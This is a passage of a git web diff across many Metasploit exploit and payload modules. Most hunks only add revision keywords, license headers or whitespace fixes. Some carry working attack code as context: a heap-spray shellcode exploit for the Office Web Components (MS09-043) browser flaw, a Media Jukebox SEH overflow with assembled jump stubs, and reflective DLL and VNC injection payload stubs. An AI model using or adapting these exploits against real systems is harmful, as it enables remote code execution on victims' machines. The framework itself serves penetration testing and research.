execute arbitrary code as the victim user.
|
||||
},
|
||||
'License' => MSF_LICENSE,
|
||||
@@ -115,7 +115,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||
fname << ".exe"
|
||||
end
|
||||
fhandle = rand_text_alpha(3+rand(15))
|
||||
|
||||
|
||||
#Write maple commands to create executable
|
||||
content = fhandle + " := fopen(\"#{fname}\",WRITE,BINARY);\n"
|
||||
exe = binary.unpack('C*')
|
||||
|
||||
@@ -27,6 +27,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||
specifiers, an attacker can corrupt memory and execute arbitrary code.
|
||||
},
|
||||
'Author' => [ 'jduck' ],
|
||||
'Version' => '$Revision$',
|
||||
'References' =>
|
||||
[
|
||||
['OSVDB', '11805'],
|
||||
|
||||
@@ -1,5 +1,5 @@
|
||||
##
|
||||
# $Id: wireshark_lwres_getaddrbyname.rb 8364 2010-02-03 18:24:42Z jduck $
|
||||
# $Id$
|
||||
##
|
||||
|
||||
##
|
||||
@@ -9,7 +9,6 @@
|
||||
# http://metasploit.com/framework/
|
||||
##
|
||||
|
||||
|
||||
require 'msf/core'
|
||||
#require 'racket'
|
||||
|
||||
@@ -48,7 +47,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||
'redsand' # windows target/testing
|
||||
],
|
||||
'License' => MSF_LICENSE,
|
||||
'Version' => '$Revision: 8364 $',
|
||||
'Version' => '$Revision$',
|
||||
'References' =>
|
||||
[
|
||||
[ 'CVE', '2010-0304' ],
|
||||
|
||||
@@ -19,6 +19,9 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'MacOS X QuickTime RTSP Content-Type Overflow',
|
||||
# Description?
|
||||
# Author?
|
||||
'Version' => '$Revision$',
|
||||
'Platform' => 'osx',
|
||||
'References' =>
|
||||
[
|
||||
|
||||
@@ -1,7 +1,16 @@
|
||||
##
|
||||
# $Id$
|
||||
##
|
||||
|
||||
##
|
||||
# This file is part of the Metasploit Framework and may be subject to
|
||||
# redistribution and commercial restrictions. Please see the Metasploit
|
||||
# Framework web site for more information on licensing and terms of use.
|
||||
# http://metasploit.com/framework/
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
|
||||
|
||||
class Metasploit3 < Msf::Exploit::Remote
|
||||
Rank = ExcellentRanking
|
||||
|
||||
|
||||
@@ -49,7 +49,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||
'PayloadType' => 'cmd',
|
||||
'RequiredCmd' => 'generic perl ruby bash telnet',
|
||||
}
|
||||
},
|
||||
},
|
||||
'Platform' => [ 'unix', 'win', 'linux' ],
|
||||
'Arch' => ARCH_CMD,
|
||||
'Targets' => [[ 'Automatic', { }]],
|
||||
@@ -81,6 +81,6 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||
req2 = send_request_raw({
|
||||
'uri' => datastore['URIOUT'],
|
||||
}, 25)
|
||||
|
||||
|
||||
end
|
||||
end
|
||||
|
||||
@@ -1,3 +1,7 @@
|
||||
##
|
||||
# $Id$
|
||||
##
|
||||
|
||||
##
|
||||
# This file is part of the Metasploit Framework and may be subject to
|
||||
# redistribution and commercial restrictions. Please see the Metasploit
|
||||
@@ -5,10 +9,8 @@
|
||||
# http://metasploit.com/framework/
|
||||
##
|
||||
|
||||
|
||||
require 'msf/core'
|
||||
|
||||
|
||||
class Metasploit3 < Msf::Exploit::Remote
|
||||
Rank = ExcellentRanking
|
||||
|
||||
@@ -18,10 +20,10 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||
super(update_info(info,
|
||||
'Name' => 'Energizer DUO Trojan Code Execution',
|
||||
'Description' => %q{
|
||||
This module will execute an arbitrary payload against
|
||||
any system infected with the Arugizer trojan horse. This
|
||||
backdoor was shipped with the software package accompanying
|
||||
the Energizer Duo USB battery charger.
|
||||
This module will execute an arbitrary payload against
|
||||
any system infected with the Arugizer trojan horse. This
|
||||
backdoor was shipped with the software package accompanying
|
||||
the Energizer Duo USB battery charger.
|
||||
},
|
||||
'Author' => [ 'hdm' ],
|
||||
'License' => MSF_LICENSE,
|
||||
|
||||
@@ -1,9 +1,13 @@
|
||||
###
|
||||
## This file is part of the Metasploit Framework and may be subject to
|
||||
## redistribution and commercial restrictions. Please see the Metasploit
|
||||
## Framework web site for more information on licensing and terms of use.
|
||||
## http://metasploit.com/framework/
|
||||
###
|
||||
##
|
||||
# $Id$
|
||||
##
|
||||
|
||||
##
|
||||
# This file is part of the Metasploit Framework and may be subject to
|
||||
# redistribution and commercial restrictions. Please see the Metasploit
|
||||
# Framework web site for more information on licensing and terms of use.
|
||||
# http://metasploit.com/framework/
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
require 'zlib'
|
||||
@@ -18,17 +22,17 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||
'Name' => 'Adobe JBIG2Decode Memory Corruption Exploit',
|
||||
'Description' => %q{
|
||||
This module exploits a heap-based pointer corruption flaw in Adobe Reader 9.0.0 and earlier.
|
||||
This module relies upon javascript for the heap spray.
|
||||
This module relies upon javascript for the heap spray.
|
||||
},
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' =>
|
||||
[
|
||||
# Metasploit implementation
|
||||
'natron',
|
||||
# bl4cksecurity blog explanation of vuln [see References]
|
||||
'xort', 'redsand',
|
||||
# obfuscation techniques and pdf template from util_printf
|
||||
'MC', 'Didier Stevens <didier.stevens[at]gmail.com>',
|
||||
# Metasploit implementation
|
||||
'natron',
|
||||
# bl4cksecurity blog explanation of vuln [see References]
|
||||
'xort', 'redsand',
|
||||
# obfuscation techniques and pdf template from util_printf
|
||||
'MC', 'Didier Stevens <didier.stevens[at]gmail.com>',
|
||||
],
|
||||
'Version' => '$Revision$',
|
||||
'References' =>
|
||||
@@ -54,7 +58,6 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||
],
|
||||
'DisclosureDate' => 'Feb 2009',
|
||||
'DefaultTarget' => 0))
|
||||
|
||||
end
|
||||
|
||||
def autofilter
|
||||
|
||||
@@ -1,9 +1,13 @@
|
||||
###
|
||||
## This file is part of the Metasploit Framework and may be subject to
|
||||
## redistribution and commercial restrictions. Please see the Metasploit
|
||||
## Framework web site for more information on licensing and terms of use.
|
||||
## http://metasploit.com/framework/
|
||||
###
|
||||
##
|
||||
# $Id$
|
||||
##
|
||||
|
||||
##
|
||||
# This file is part of the Metasploit Framework and may be subject to
|
||||
# redistribution and commercial restrictions. Please see the Metasploit
|
||||
# Framework web site for more information on licensing and terms of use.
|
||||
# http://metasploit.com/framework/
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
require 'zlib'
|
||||
@@ -18,8 +22,8 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||
'Name' => 'Adobe util.printf() Buffer Overflow',
|
||||
'Description' => %q{
|
||||
This module exploits a buffer overflow in Adobe Reader and Adobe Acrobat Professional
|
||||
< 8.1.3. By creating a specially crafted pdf that a contains malformed util.printf()
|
||||
entry, an attacker may be able to execute arbitrary code.
|
||||
< 8.1.3. By creating a specially crafted pdf that a contains malformed util.printf()
|
||||
entry, an attacker may be able to execute arbitrary code.
|
||||
},
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' => [ 'MC', 'Didier Stevens <didier.stevens[at]gmail.com>' ],
|
||||
|
||||
@@ -35,7 +35,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||
[ 'MSB', 'MS09-043' ],
|
||||
[ 'URL', 'http://xeye.us/blog/2009/07/one-0day/' ],
|
||||
[ 'URL', 'http://www.microsoft.com/technet/security/advisory/973472.mspx' ],
|
||||
],
|
||||
],
|
||||
'DefaultOptions' =>
|
||||
{
|
||||
'EXITFUNC' => 'process',
|
||||
@@ -43,17 +43,17 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||
'Payload' =>
|
||||
{
|
||||
'Space' => 1024,
|
||||
'BadChars' => '',
|
||||
'BadChars' => '',
|
||||
'StackAdjustment' => -3500,
|
||||
},
|
||||
'Platform' => 'win',
|
||||
'Targets' =>
|
||||
[
|
||||
[ 'Windows XP SP0-SP3 / IE 6.0 SP0-2 & IE 7.0', { 'Ret' => 0x0C0C0C0C } ]
|
||||
[ 'Windows XP SP0-SP3 / IE 6.0 SP0-2 & IE 7.0', { 'Ret' => 0x0C0C0C0C } ]
|
||||
],
|
||||
'DisclosureDate' => 'Jul 13 2009',
|
||||
'DefaultTarget' => 0))
|
||||
|
||||
|
||||
@javascript_encode_key = rand_text_alpha(rand(10) + 10)
|
||||
end
|
||||
|
||||
@@ -68,45 +68,45 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||
return if ((p = regenerate_payload(cli)) == nil)
|
||||
|
||||
print_status("Sending #{self.name} to #{cli.peerhost}:#{cli.peerport}...")
|
||||
|
||||
|
||||
|
||||
|
||||
shellcode = Rex::Text.to_unescape(p.encoded)
|
||||
retaddr = Rex::Text.to_unescape([target.ret].pack('V'))
|
||||
|
||||
|
||||
js = %Q|
|
||||
|
||||
|
||||
var xshellcode = unescape("#{shellcode}");
|
||||
|
||||
|
||||
var xarray = new Array();
|
||||
var xls = 0x81000-(xshellcode.length*2);
|
||||
var xbigblock = unescape("#{retaddr}");
|
||||
|
||||
|
||||
while( xbigblock.length < xls / 2) { xbigblock += xbigblock; }
|
||||
var xlh = xbigblock.substring(0, xls / 2);
|
||||
delete xbigblock;
|
||||
|
||||
|
||||
for(xi=0; xi<0x99*2; xi++) {
|
||||
xarray[xi] = xlh + xlh + xshellcode;
|
||||
}
|
||||
|
||||
|
||||
CollectGarbage();
|
||||
|
||||
|
||||
var xobj = new ActiveXObject("OWC10.Spreadsheet");
|
||||
|
||||
|
||||
xe = new Array();
|
||||
xe.push(1);
|
||||
xe.push(2);
|
||||
xe.push(0);
|
||||
xe.push(window);
|
||||
|
||||
|
||||
for(xi=0; xi < xe.length; xi++){
|
||||
for(xj=0; xj<10; xj++){
|
||||
try { xobj.Evaluate(xe[xi]); } catch(e) { }
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
window.status = xe[3] + '';
|
||||
|
||||
|
||||
for(xj=0; xj<10; xj++){
|
||||
try{ xobj.msDataSourceObject(xe[3]); } catch(e) { }
|
||||
}
|
||||
@@ -118,14 +118,14 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||
'Variables' => %W{ xshellcode xarray xls xbigblock xlh xi xobj xe xj}
|
||||
}
|
||||
).to_s
|
||||
|
||||
|
||||
|
||||
|
||||
# Encode the javascript payload with the URI key
|
||||
# js = encrypt_js(js, @javascript_encode_key)
|
||||
|
||||
|
||||
# Fire off the page to the client
|
||||
send_response(cli, "<html><script language='javascript'>#{js}</script></html>")
|
||||
|
||||
|
||||
# Handle the payload
|
||||
handler(cli)
|
||||
end
|
||||
|
||||
@@ -1,5 +1,5 @@
|
||||
##
|
||||
# $id$
|
||||
# $Id$
|
||||
##
|
||||
|
||||
##
|
||||
|
||||
@@ -1,9 +1,13 @@
|
||||
###
|
||||
## This file is part of the Metasploit Framework and may be subject to
|
||||
## redistribution and commercial restrictions. Please see the Metasploit
|
||||
## Framework web site for more information on licensing and terms of use.
|
||||
## http://metasploit.com/framework/
|
||||
###
|
||||
##
|
||||
# $Id$
|
||||
##
|
||||
|
||||
##
|
||||
# This file is part of the Metasploit Framework and may be subject to
|
||||
# redistribution and commercial restrictions. Please see the Metasploit
|
||||
# Framework web site for more information on licensing and terms of use.
|
||||
# http://metasploit.com/framework/
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
require 'zlib'
|
||||
|
||||
@@ -1,3 +1,7 @@
|
||||
##
|
||||
# $Id$
|
||||
##
|
||||
|
||||
##
|
||||
# This file is part of the Metasploit Framework and may be subject to
|
||||
# redistribution and commercial restrictions. Please see the Metasploit
|
||||
@@ -17,9 +21,9 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||
super(update_info(info,
|
||||
'Name' => 'Media Jukebox 8.0.400 Buffer Overflow Exploit (SEH)',
|
||||
'Description' => %q{
|
||||
This module exploits a stack overflow in Media Jukebox 8.0.400
|
||||
By creating a specially crafted m3u or pls file, an an attacker may be able
|
||||
to execute arbitrary code.
|
||||
This module exploits a stack overflow in Media Jukebox 8.0.400
|
||||
By creating a specially crafted m3u or pls file, an an attacker may be able
|
||||
to execute arbitrary code.
|
||||
},
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' =>
|
||||
@@ -70,4 +74,3 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
|
||||
@@ -65,7 +65,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||
end
|
||||
|
||||
def exploit
|
||||
|
||||
|
||||
# direct ret overwrite at offset 1024
|
||||
# nseh overwrite at offset 1040
|
||||
ret_offset = 1024
|
||||
@@ -89,7 +89,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||
|
|
||||
stub = Metasm::Shellcode.assemble(Metasm::Ia32.new, stub).encode_string
|
||||
m3u[seh_offset - stub.length, stub.length] = stub
|
||||
|
||||
|
||||
# Jump back to the stub
|
||||
jmp2 = Metasm::Shellcode.assemble(Metasm::Ia32.new, "jmp $-" + stub.length.to_s).encode_string
|
||||
seh = ''
|
||||
|
||||
@@ -52,6 +52,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||
[
|
||||
'jduck' # metasploit module
|
||||
],
|
||||
'Version' => '$Revision$',
|
||||
'References' =>
|
||||
[
|
||||
[ 'OSVDB', '62163' ],
|
||||
|
||||
@@ -26,6 +26,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||
long JSESSION cookie value can lead to arbirtary code execution.
|
||||
},
|
||||
'Author' => 'pusscat',
|
||||
'Version' => '$Revision$',
|
||||
'References' =>
|
||||
[
|
||||
[ 'CVE', '2008-5457' ],
|
||||
|
||||
@@ -27,6 +27,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||
You may have to run this twice due to timing issues with handlers.
|
||||
},
|
||||
'Author' => 'pusscat',
|
||||
'Version' => '$Revision$',
|
||||
'References' =>
|
||||
[
|
||||
[ 'CVE', '2008-4008' ],
|
||||
|
||||
@@ -26,7 +26,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||
},
|
||||
'Author' => [ 'MC' ],
|
||||
'License' => MSF_LICENSE,
|
||||
'Version' => '$Revision: $',
|
||||
'Version' => '$Revision$',
|
||||
'References' =>
|
||||
[
|
||||
[ 'CVE', '2009-4178' ],
|
||||
|
||||
@@ -45,6 +45,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||
'Trancer <mtrancer[at]gmail.com>', # Metasploit implementation
|
||||
'jduck'
|
||||
],
|
||||
'Version' => '$Revision$',
|
||||
'References' =>
|
||||
[
|
||||
[ 'URL', 'http://www.pank4j.com/exploits/httpdxb0f.php' ],
|
||||
|
||||
@@ -33,6 +33,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||
[
|
||||
'jduck' # original discovery and metasploit module
|
||||
],
|
||||
'Version' => '$Revision$',
|
||||
'References' =>
|
||||
[
|
||||
[ 'OSVDB', '60182' ]
|
||||
|
||||
@@ -1,5 +1,15 @@
|
||||
require 'msf/core'
|
||||
##
|
||||
# $Id$
|
||||
##
|
||||
|
||||
##
|
||||
# This file is part of the Metasploit Framework and may be subject to
|
||||
# redistribution and commercial restrictions. Please see the Metasploit
|
||||
# Framework web site for more information on licensing and terms of use.
|
||||
# http://metasploit.com/framework/
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
|
||||
###
|
||||
# Linux Chmod(file, mode)
|
||||
|
||||
@@ -9,10 +9,8 @@
|
||||
# http://metasploit.com/framework/
|
||||
##
|
||||
|
||||
|
||||
require 'msf/core'
|
||||
|
||||
|
||||
###
|
||||
#
|
||||
# Exec
|
||||
|
||||
@@ -9,11 +9,9 @@
|
||||
# http://metasploit.com/framework/
|
||||
##
|
||||
|
||||
|
||||
require 'msf/core'
|
||||
require 'msf/core/payload/windows/exec'
|
||||
|
||||
|
||||
###
|
||||
#
|
||||
# Executes a command on the target machine
|
||||
|
||||
@@ -1,3 +1,14 @@
|
||||
##
|
||||
# $Id$
|
||||
##
|
||||
|
||||
##
|
||||
# This file is part of the Metasploit Framework and may be subject to
|
||||
# redistribution and commercial restrictions. Please see the Metasploit
|
||||
# Framework web site for more information on licensing and terms of use.
|
||||
# http://metasploit.com/framework/
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
require 'msf/core/handler/bind_tcp'
|
||||
|
||||
|
||||
@@ -1,3 +1,7 @@
|
||||
##
|
||||
# $Id$
|
||||
##
|
||||
|
||||
##
|
||||
# This file is part of the Metasploit Framework and may be subject to
|
||||
# redistribution and commercial restrictions. Please see the Metasploit
|
||||
|
||||
@@ -9,11 +9,9 @@
|
||||
# http://metasploit.com/framework/
|
||||
##
|
||||
|
||||
|
||||
require 'msf/core'
|
||||
require 'msf/core/payload/osx/bundleinject'
|
||||
|
||||
|
||||
###
|
||||
#
|
||||
# Injects an arbitrary DLL in the exploited process.
|
||||
|
||||
@@ -1,9 +1,19 @@
|
||||
##
|
||||
# $Id$
|
||||
##
|
||||
|
||||
##
|
||||
# This file is part of the Metasploit Framework and may be subject to
|
||||
# redistribution and commercial restrictions. Please see the Metasploit
|
||||
# Framework web site for more information on licensing and terms of use.
|
||||
# http://metasploit.com/framework/
|
||||
##
|
||||
|
||||
# Copyright (c) 2008 Stephen Fewer of Harmony Security (www.harmonysecurity.com)
|
||||
|
||||
require 'msf/core'
|
||||
require 'msf/core/payload/windows/reflectivedllinject'
|
||||
|
||||
|
||||
###
|
||||
#
|
||||
# Injects an arbitrary DLL in the exploited process via a reflective loader.
|
||||
@@ -14,4 +24,3 @@ module Metasploit3
|
||||
include Msf::Payload::Windows::ReflectiveDllInject
|
||||
|
||||
end
|
||||
|
||||
|
||||
@@ -9,11 +9,9 @@
|
||||
# http://metasploit.com/framework/
|
||||
##
|
||||
|
||||
|
||||
require 'msf/core'
|
||||
require 'msf/core/payload/windows/dllinject'
|
||||
|
||||
|
||||
###
|
||||
#
|
||||
# Injects an arbitrary DLL in the exploited process.
|
||||
@@ -23,4 +21,4 @@ module Metasploit3
|
||||
|
||||
include Msf::Payload::Windows::DllInject
|
||||
|
||||
end
|
||||
end
|
||||
|
||||
@@ -1,3 +1,14 @@
|
||||
##
|
||||
# $Id$
|
||||
##
|
||||
|
||||
##
|
||||
# This file is part of the Metasploit Framework and may be subject to
|
||||
# redistribution and commercial restrictions. Please see the Metasploit
|
||||
# Framework web site for more information on licensing and terms of use.
|
||||
# http://metasploit.com/framework/
|
||||
##
|
||||
|
||||
# Copyright (c) 2008 Stephen Fewer of Harmony Security (www.harmonysecurity.com)
|
||||
|
||||
require 'msf/core'
|
||||
|
||||
@@ -21,7 +21,7 @@ require 'msf/base/sessions/vncinject'
|
||||
module Metasploit3
|
||||
|
||||
include Msf::Payload::Windows::ReflectiveDllInject_x64
|
||||
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'Windows x64 VNC Server (Reflective Injection)',
|
||||
@@ -29,7 +29,7 @@ module Metasploit3
|
||||
'Description' => 'Inject a VNC Dll via a reflective loader (Windows x64) (staged)',
|
||||
'Author' => [ 'sf' ],
|
||||
'Session' => Msf::Sessions::VncInject ))
|
||||
|
||||
|
||||
|
||||
# Override the DLL path with the path to the meterpreter server DLL
|
||||
register_options(
|
||||
@@ -85,9 +85,9 @@ module Metasploit3
|
||||
flags = 0
|
||||
|
||||
flags |= 1 if (datastore['DisableCourtesyShell'])
|
||||
|
||||
|
||||
flags |= 2 if (datastore['DisableSessionTracking'])
|
||||
|
||||
|
||||
# Transmit the one byte flag
|
||||
session.rstream.put([ flags ].pack('C'))
|
||||
|
||||
@@ -104,7 +104,7 @@ module Metasploit3
|
||||
print_status("Launched vnciewer in the background.")
|
||||
end
|
||||
end
|
||||
|
||||
|
||||
super
|
||||
end
|
||||
|
||||
|
||||
Some files were not shown because too many files have changed in this diff Show More
Reference in New Issue
Block a user